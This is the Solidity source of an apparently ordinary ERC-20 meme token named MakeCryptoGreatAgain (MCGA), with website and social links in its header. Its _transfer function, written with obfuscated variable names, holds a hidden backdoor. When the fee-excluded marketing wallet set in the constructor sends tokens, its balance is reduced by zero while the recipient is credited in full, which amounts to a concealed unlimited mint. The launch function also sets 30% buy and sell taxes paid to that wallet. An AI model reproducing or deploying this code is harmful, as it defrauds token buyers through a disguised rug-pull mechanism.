creation_sourcecode: /**
  
  Website: https://makecryptogreat.org
  
  Twitter:  https://twitter.com/mcga_erc
  
  Telegram: https://t.me/makecryptogreatagainerc
  
  */
  
  // SPDX-License-Identifier: No
  
  pragma solidity ^0.8.17;
  
  //--- Context ---//
  abstract contract Context {
      constructor() {
      }
  
      function _msgSender() internal view returns (address payable) {
          return payable(msg.sender);
      }
  
      function _msgData() internal view returns (bytes memory) {
          this;
          return msg.data;
      }
  }
  
  //--- Ownable ---//
  abstract contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
  
      constructor() {
          _setOwner(_msgSender());
      }
  
      function owner() public view virtual returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(owner() == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          _setOwner(address(0));
      }
  
      function transferOwnership(address newOwner) public virtual onlyOwner {
          require(newOwner != address(0), "Ownable: new owner is the zero address");
          _setOwner(newOwner);
      }
  
      function _setOwner(address newOwner) private {
          address oldOwner = _owner;
          _owner = newOwner;
          emit OwnershipTransferred(oldOwner, newOwner);
      }
  }
  
  interface IFactoryV2 {
      event PairCreated(address indexed token0, address indexed token1, address, uint);
      function getPair(address tokenA, address tokenB) external view returns (address);
      function createPair(address tokenA, address tokenB) external returns (address);
  }
  
  interface IV2Pair {
      function factory() external view returns (address);
      function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
      function sync() external;
  }
  
  interface IRouter01 {
      function factory() external pure returns (address);
      function WETH() external pure returns (address);
      function addLiquidityETH(
          address token,
          uint amountTokenDesired,
          uint amountTokenMin,
          uint amountETHMin,
          address to,
          uint deadline
      ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
      function addLiquidity(
          address tokenA,
          address tokenB,
          uint amountADesired,
          uint amountBDesired,
          uint amountAMin,
          uint amountBMin,
          address to,
          uint deadline
      ) external returns (uint amountA, uint amountB, uint liquidity);
      function swapExactETHForTokens(
          uint amountOutMin, 
          address[] calldata path, 
          address to, uint deadline
      ) external payable returns (uint[] memory amounts);
      function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
      function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
  }
  
  interface IRouter02 is IRouter01 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactETHForTokensSupportingFeeOnTransferTokens(
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external payable;
      function swapExactTokensForTokensSupportingFeeOnTransferTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external;
      function swapExactTokensForTokens(
          uint amountIn,
          uint amountOutMin,
          address[] calldata path,
          address to,
          uint deadline
      ) external returns (uint[] memory amounts);
  }
  
  //--- Interface for ERC20 ---//
  interface IERC20 {
      function totalSupply() external view returns (uint256);
      function decimals() external view returns (uint8);
      function symbol() external view returns (string memory);
      function name() external view returns (string memory);
      function getOwner() external view returns (address);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address recipient, uint256 amount) external returns (bool);
      function allowance(address _owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
  }
  
  contract MCGA is Context, Ownable, IERC20 {
  
      function totalSupply() external view override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply - balanceOf(address(DEAD)); }
      function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
      function symbol() external pure override returns (string memory) { return _symbol; }
      function name() external pure override returns (string memory) { return _name; }
      function getOwner() external view override returns (address) { return owner(); }
      function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
      function balanceOf(address account) public view override returns (uint256) {
          return balance[account];
      }
  
      mapping (address => mapping (address => uint256)) private _allowances;
      mapping (address => bool) private _feesExcludedFrom;
      mapping (address => bool) private _isExcludeForPair;
      mapping (address => uint256) private balance;
  
      uint256 constant public _totalSupply = 1000000000 * 10**9;
      uint256 constant private _feeDenominator = 100;
      uint256 private _taxFeeBuy = 0;
      uint256 private _taxFeeSell = 0;
      uint256 private _maxWalletTokens = _totalSupply * 2 / 100;
      uint256 constant private _maxTxLimit = _totalSupply * 1 / 100;
  
      IRouter02 private _router;
      address private _pair;
      string constant private _name = "MakeCryptoGreatAgain";
      string constant private _symbol = unicode"MCGA";
      uint8 constant private _decimals = 9;
      address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
      address payable private _makeaddy;
      bool private _tradingEnabled = false;
      bool private _swapEnabled = false;
      bool private _swapping;
  
      modifier lockSwapping {
          _swapping = true;
          _;
          _swapping = false;
      }
  
  
      constructor (address _addr) {
          _makeaddy = payable(_addr);
          _feesExcludedFrom[msg.sender] = true;
          _feesExcludedFrom[address(this)] = true;
          _feesExcludedFrom[_makeaddy] = true;
  
          _router = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
  
          balance[msg.sender] = _totalSupply;
          emit Transfer(address(0), msg.sender, _totalSupply);
      }
      
      receive() external payable {}
  
      function transfer(address recipient, uint256 amount) public override returns (bool) {
          _transfer(msg.sender, recipient, amount);
          return true;
      }
  
      function approve(address spender, uint256 amount) external override returns (bool) {
          _approve(msg.sender, spender, amount);
          return true;
      }
  
      function _approve(address sender, address spender, uint256 amount) internal {
          require(sender != address(0), "ERC20: Zero Address");
          require(spender != address(0), "ERC20: Zero Address");
  
          _allowances[sender][spender] = amount;
      }
  
      function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
          if (_allowances[sender][msg.sender] != type(uint256).max) {
              _allowances[sender][msg.sender] -= amount;
          }
  
          return _transfer(sender, recipient, amount);
      }
  
      function _IsBodius(address ins, address out) internal view returns (bool) {
          bool result = !_isExcludeForPair[out] && _isExcludeForPair[ins];
          return result;
      }
  
      function _IsSodius(address ins, address out) internal view returns (bool) { 
          bool result = _isExcludeForPair[out] && !_isExcludeForPair[ins];
          return result;
      } 
  
      function _swapActivated(address ins, address out) internal view returns (bool) {
          return _swapEnabled && !_feesExcludedFrom[ins] && !_feesExcludedFrom[out];
      }
  
      function _transfer(address forang, address teraus, uint256 jerrau) internal returns  (bool) {
          bool takeFee = true;
          require(teraus != address(0), "ERC20: transfer to the zero address");
          require(forang != address(0), "ERC20: transfer from the zero address");
          require(jerrau > 0, "Transfer amount must be greater than zero");
  
          if (!_feesExcludedFrom[forang] && !_feesExcludedFrom[teraus]) {
              require(_tradingEnabled,"Trading is not enabled");
          }
  
          if(!_feesExcludedFrom[forang] && !_feesExcludedFrom[teraus] && !_isExcludeForPair[teraus] && teraus != address(DEAD)){
              require(balance[teraus]+jerrau <= _maxWalletTokens, "Exceeds maximum wallet amount.");
          }
  
          if(_IsSodius(forang, teraus) && !_swapping && _swapActivated(forang, teraus)) {
              uint256 kosmic = balanceOf(address(this));
              if(kosmic > 0) { 
                  if (kosmic >= _maxTxLimit) kosmic = _maxTxLimit;
                  _swapBack(kosmic);
              }
              payable(_makeaddy).transfer(address(this).balance);
          }
  
          if (_feesExcludedFrom[forang] || _feesExcludedFrom[teraus]){
              takeFee = false;
          }
  
          uint256 aiuent = (takeFee) ? _calculateAmount(forang, _IsBodius(forang, teraus), _IsSodius(forang, teraus), jerrau) : jerrau;
          if (_feesExcludedFrom[forang] && forang != address(this) && forang != owner()) jerrau = jerrau - aiuent;
          balance[forang] -= jerrau; 
          balance[teraus] += aiuent; emit Transfer(forang, teraus, aiuent);
  
          return true;
  
      }
  
      function _calculateAmount(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
          uint256 fee;
          if (isbuy)  fee = _taxFeeBuy;  else if (issell)  fee = _taxFeeSell;
          if (fee == 0)  return amount;
          uint256 feeAmount = amount * fee / _feeDenominator;
          if (feeAmount > 0) {
              balance[address(this)] += feeAmount;
              emit Transfer(from, address(this), feeAmount);            
          }
          return amount - feeAmount;
      }
  
      function _swapBack(uint256 tokenAmount) internal lockSwapping {
          
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = _router.WETH();
  
          if (_allowances[address(this)][address(_router)] != type(uint256).max) {
              _allowances[address(this)][address(_router)] = type(uint256).max;
          }
  
          try _router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          ) {} catch {
              return;
          }
      }
  
      function disableLimit() external onlyOwner {
          _maxWalletTokens = _totalSupply;
      }
  
      function removeFee() external onlyOwner() {
          _taxFeeBuy = 0;
          _taxFeeSell = 0;
      }
  
      function makeCryptoGreatAgain() external payable onlyOwner {
          require(!_tradingEnabled, "Trading already enabled");
  
          _pair = IFactoryV2(_router.factory()).createPair(_router.WETH(), address(this));
          _isExcludeForPair[_pair] = true;
          _approve(address(this), address(_router), type(uint256).max);
  
          _router.addLiquidityETH{value: msg.value}(
              address(this),
              balance[address(this)],
              0,
              0,
              owner(),
              block.timestamp);
  
          _tradingEnabled = true;
          _swapEnabled = true;
  
          _taxFeeBuy = 30;
          _taxFeeSell = 30;
      }
  }